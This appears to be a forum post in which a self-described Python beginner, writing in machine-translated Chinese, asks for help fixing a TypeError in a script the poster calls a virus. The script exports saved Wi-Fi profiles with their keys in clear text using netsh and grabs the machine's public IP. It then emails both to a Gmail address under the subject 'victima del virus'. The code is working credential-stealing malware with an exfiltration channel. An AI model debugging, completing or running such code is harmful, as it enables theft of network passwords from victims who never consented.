我是西班牙语的代码的某些部分(特别是名称和其他东西)
python给了我这个错误
我想帮助因为我是 python 新手并修复错误不是我的特殊能力(对不起我的英语我是西班牙语)
Traceback (most recent call last):
File "C:\Users\Ticua\Desktop\#test with ip.py", line 38, in <module>
BODY = '\r\n'.join(['To: %s' % TO, 'From: %s' % gmail_sender,'Subject: victima del virus', ip, f])
TypeError: sequence item 4: expected str instance, _io.TextIOWrapper found
%%MYPASSWORD%% 是我不想被发现的邮件的密码
我的代码:
import subprocess
requests = 'requests'
subprocess.call(['pip', 'install', requests])
from requests import get
import smtplib
ip = str(get('https://api.ipify.org').text)
y = 'C:'
reques = input("pon el nombre de tu red : ")
x = str(subprocess.call(['netsh', 'wlan', 'export', 'profile', 'key=clear', 'folder=C:']))
f = open('C:' + '/Conexión de red inalámbrica-' + reques + '.xml', 'r')
TO = 'ticua07@gmail.com'
SUBJECT = 'victima del virus'
TEXT = ip, f
# Gmail Sign In
gmail_sender = 'logonuihacks@gmail.com'
gmail_passwd = '%%MYPASSWORD%%'
server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.login(gmail_sender, gmail_passwd)
BODY = '\r\n'.join(['To: %s' % TO, 'From: %s' % gmail_sender,'Subject: victima del virus', ip, f])
f.close()
try:
server.sendmail(gmail_sender, [TO], BODY)
print ('email sent')
except:
print("fu***d up")